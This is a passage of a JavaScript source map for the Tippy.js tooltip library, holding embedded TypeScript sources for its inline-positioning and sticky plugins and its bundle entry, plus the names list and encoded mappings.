2 &&\n cursorRectIndex >= 0 &&\n clientRects[0].left > clientRects[1].right\n ) {\n return clientRects[cursorRectIndex] || boundingRect;\n }\n\n switch (currentBasePlacement) {\n case 'top':\n case 'bottom': {\n const firstRect = clientRects[0];\n const lastRect = clientRects[clientRects.length - 1];\n const isTop = currentBasePlacement === 'top';\n\n const top = firstRect.top;\n const bottom = lastRect.bottom;\n const left = isTop ? firstRect.left : lastRect.left;\n const right = isTop ? firstRect.right : lastRect.right;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n case 'left':\n case 'right': {\n const minLeft = Math.min(...clientRects.map((rects) => rects.left));\n const maxRight = Math.max(...clientRects.map((rects) => rects.right));\n const measureRects = clientRects.filter((rect) =>\n currentBasePlacement === 'left'\n ? rect.left === minLeft\n : rect.right === maxRight\n );\n\n const top = measureRects[0].top;\n const bottom = measureRects[measureRects.length - 1].bottom;\n const left = minLeft;\n const right = maxRight;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n default: {\n return boundingRect;\n }\n }\n}\n","import {VirtualElement} from '@popperjs/core';\nimport {ReferenceElement, Sticky} from '../types';\n\nconst sticky: Sticky = {\n name: 'sticky',\n defaultValue: false,\n fn(instance) {\n const {reference, popper} = instance;\n\n function getReference(): ReferenceElement | VirtualElement {\n return instance.popperInstance\n ? instance.popperInstance.state.elements.reference\n : reference;\n }\n\n function shouldCheck(value: 'reference' | 'popper'): boolean {\n return instance.props.sticky === true || instance.props.sticky === value;\n }\n\n let prevRefRect: ClientRect | null = null;\n let prevPopRect: ClientRect | null = null;\n\n function updatePosition(): void {\n const currentRefRect = shouldCheck('reference')\n ? getReference().getBoundingClientRect()\n : null;\n const currentPopRect = shouldCheck('popper')\n ? popper.getBoundingClientRect()\n : null;\n\n if (\n (currentRefRect && areRectsDifferent(prevRefRect, currentRefRect)) ||\n (currentPopRect && areRectsDifferent(prevPopRect, currentPopRect))\n ) {\n if (instance.popperInstance) {\n instance.popperInstance.update();\n }\n }\n\n prevRefRect = currentRefRect;\n prevPopRect = currentPopRect;\n\n if (instance.state.isMounted) {\n requestAnimationFrame(updatePosition);\n }\n }\n\n return {\n onMount(): void {\n if (instance.props.sticky) {\n updatePosition();\n }\n },\n };\n },\n};\n\nexport default sticky;\n\nfunction areRectsDifferent(\n rectA: ClientRect | null,\n rectB: ClientRect | null\n): boolean {\n if (rectA && rectB) {\n return (\n rectA.top !== rectB.top ||\n rectA.right !== rectB.right ||\n rectA.bottom !== rectB.bottom ||\n rectA.left !== rectB.left\n );\n }\n\n return true;\n}\n","import css from '../dist/tippy.css';\nimport {injectCSS} from '../src/css';\nimport {isBrowser} from '../src/browser';\nimport tippy, {hideAll} from '../src';\nimport createSingleton from '../src/addons/createSingleton';\nimport delegate from '../src/addons/delegate';\nimport animateFill from '../src/plugins/animateFill';\nimport followCursor from '../src/plugins/followCursor';\nimport inlinePositioning from '../src/plugins/inlinePositioning';\nimport sticky from '../src/plugins/sticky';\nimport {ROUND_ARROW} from '../src/constants';\nimport {render} from '../src/template';\n\nif (isBrowser) {\n injectCSS(css);\n}\n\ntippy.setDefaultProps({\n plugins: [animateFill, followCursor, inlinePositioning, sticky],\n render,\n});\n\ntippy.createSingleton = createSingleton;\ntippy.delegate = delegate;\ntippy.hideAll = hideAll;\ntippy.roundArrow = ROUND_ARROW;\n\nexport default tippy;\n"],"names":["injectCSS","css","style","document","createElement","textContent","setAttribute","head","firstStyleOrLinkTag","querySelector","insertBefore","appendChild","isBrowser","window","isIE11","msCrypto","ROUND_ARROW","BOX_CLASS","CONTENT_CLASS","BACKDROP_CLASS","ARROW_CLASS","SVG_ARROW_CLASS","TOUCH_OPTIONS","passive","capture","TIPPY_DEFAULT_APPEND_TO","body","hasOwnProperty","obj","key","call","getValueAtIndexOrReturn","value","index","defaultValue","Array","isArray","v","isType","type","str","toString","indexOf","invokeWithArgsOrReturn","args","debounce","fn","ms","timeout","arg","clearTimeout","setTimeout","removeProperties","keys","clone","forEach","splitBySpaces","split","filter","Boolean","normalizeToArray","concat","pushIfUnique","arr","push","unique","item","getBasePlacement","placement","arrayFrom","slice","removeUndefinedProps","Object","reduce","acc","undefined","div","isElement","some","isNodeList","isMouseEvent","isReferenceElement","_tippy","reference","getArrayOfElements","querySelectorAll","setTransitionDuration","els","el","transitionDuration","setVisibilityState","state","getOwnerDocument","elementOrElements","element","ownerDocument","isCursorOutsideInteractiveBorder","popperTreeData","event","clientX","clientY","every","popperRect","popperState","props","interactiveBorder","basePlacement","offsetData","modifiersData","offset","topDistance","top","y","bottomDistance","bottom","leftDistance","left","x","rightDistance","right","exceedsTop","exceedsBottom","exceedsLeft","exceedsRight","updateTransitionEndListener","box","action","listener","method","actualContains","parent","child","target","contains","getRootNode","host","currentInput","isTouch","lastMouseMoveTime","onDocumentTouchStart","performance","addEventListener","onDocumentMouseMove","now","removeEventListener","onWindowBlur","activeElement","instance","blur","isVisible","bindGlobalEventListeners","createMemoryLeakWarning","txt","join","clean","spacesAndTabs","lineStartWithSpaces","replace","trim","getDevMessage","message","getFormattedMessage","visitedMessages","resetVisitedMessages","Set","warnWhen","condition","has","add","console","warn","errorWhen","error","validateTargets","targets","didPassFalsyValue","didPassPlainObject","prototype","String","pluginProps","animateFill","followCursor","inlinePositioning","sticky","renderProps","allowHTML","animation","arrow","content","inertia","maxWidth","role","theme","zIndex","defaultProps","appendTo","aria","expanded","delay","duration","getReferenceClientRect","hideOnClick","ignoreAttributes","interactive","interactiveDebounce","moveTransition","onAfterUpdate","onBeforeUpdate","onCreate","onDestroy","onHidden","onHide","onMount","onShow","onShown","onTrigger","onUntrigger","onClickOutside","plugins","popperOptions","render","showOnCreate","touch","trigger","triggerTarget","defaultKeys","setDefaultProps","partialProps","validateProps","getExtendedPassedProps","passedProps","plugin","name","getDataAttributeProps","propKeys","valueAsString","getAttribute","JSON","parse","e","evaluateProps","out","prop","nonPluginProps","didPassUnknownProp","length","innerHTML","dangerouslySetInnerHTML","html","createArrowElement","className","setContent","getChildren","popper","firstElementChild","boxChildren","children","find","node","classList","backdrop","onUpdate","prevProps","nextProps","removeAttribute","removeChild","$$tippy","idCounter","mouseMoveListeners","mountedInstances","createTippy","showTimeout","hideTimeout","scheduleHideAnimationFrame","isVisibleFromClick","didHideDueToDocumentMouseDown","didTouchMove","ignoreOnFirstUpdate","lastTriggerEvent","currentTransitionEndListener","onFirstUpdate","listeners","debouncedOnMouseMove","onMouseMove","currentTarget","id","popperInstance","isEnabled","isDestroyed","isMounted","isShown","clearDelayTimeouts","setProps","show","hide","hideWithInteractivity","enable","disable","unmount","destroy","pluginsHooks","map","hasAriaExpanded","hasAttribute","addListeners","handleAriaExpandedAttribute","handleStyles","invokeHook","scheduleShow","getDocument","getNormalizedTouchSettings","getIsCustomTouchBehavior","getIsDefaultRenderFn","getCurrentTarget","parentNode","getDefaultTemplateChildren","getDelay","isShow","fromHide","pointerEvents","hook","shouldInvokePropsHook","pluginHooks","handleAriaContentAttribute","attr","nodes","currentValue","nextValue","cleanupInteractiveMouseListeners","onDocumentPress","actualTarget","composedPath","removeDocumentPress","onTouchMove","onTouchStart","addDocumentPress","doc","onTransitionedOut","callback","onTransitionEnd","onTransitionedIn","on","eventType","handler","options","onMouseLeave","onBlurOrFocusOut","removeListeners","shouldScheduleClickHide","isEventListenerStopped","wasFocused","scheduleHide","isCursorOverReferenceOrPopper","getNestedPopperTree","getBoundingClientRect","shouldBail","relatedTarget","createPopperInstance","destroyPopperInstance","computedReference","contextElement","tippyModifier","enabled","phase","requires","attributes","modifiers","padding","adaptive","createPopper","mount","nextElementSibling","touchValue","touchDelay","requestAnimationFrame","cancelAnimationFrame","nestedPopper","forceUpdate","isAlreadyVisible","isDisabled","isTouchAndTouchDisabled","visibility","transition","offsetHeight","isAlreadyHidden","i","tippy","optionalProps","elements","isSingleContentElement","isMoreThanOneReferenceElement","instances","hideAll","excludedReferenceOrInstance","exclude","isExcluded","originalDuration","applyStylesModifier","applyStyles","effect","initialStyles","position","strategy","margin","assign","styles","createSingleton","tippyInstances","individualInstances","references","triggerTargets","overrides","interceptSetPropsCleanups","shownOnCreate","setTriggerTargets","setReferences","enableInstances","interceptSetProps","singleton","originalSetProps","prepareInstance","overrideProps","originalShow","ref","showNext","first","showPrevious","last","setInstances","nextInstances","BUBBLING_EVENTS_MAP","mouseover","focusin","click","delegate","childTippyInstances","disabled","nativeProps","parentProps","childProps","returnValue","normalizedReturnValue","targetNode","closest","addEventListeners","removeEventListeners","applyMutations","originalDestroy","originalEnable","originalDisable","shouldDestroyChildInstances","createBackdropElement","overflow","Number","transitionDelay","Math","round","mouseCoords","activeInstances","storeMouseCoords","addMouseCoordsListener","removeMouseCoordsListener","isInternalUpdate","wasFocusEvent","isUnmounted","getIsInitialBehavior","addListener","removeListener","unsetGetReferenceClientRect","isCursorOverReference","rect","relativeX","relativeY","width","height","create","data","_","getProps","modifier","cursorRectIndex","triedPlacements","getInlineBoundingClientRect","getClientRects","setInternalProps","addModifier","rects","cursorRect","currentBasePlacement","boundingRect","clientRects","firstRect","lastRect","isTop","minLeft","min","maxRight","max","measureRects","getReference","shouldCheck","prevRefRect","prevPopRect","updatePosition","currentRefRect","currentPopRect","areRectsDifferent","update","rectA","rectB","roundArrow"],"mappings":"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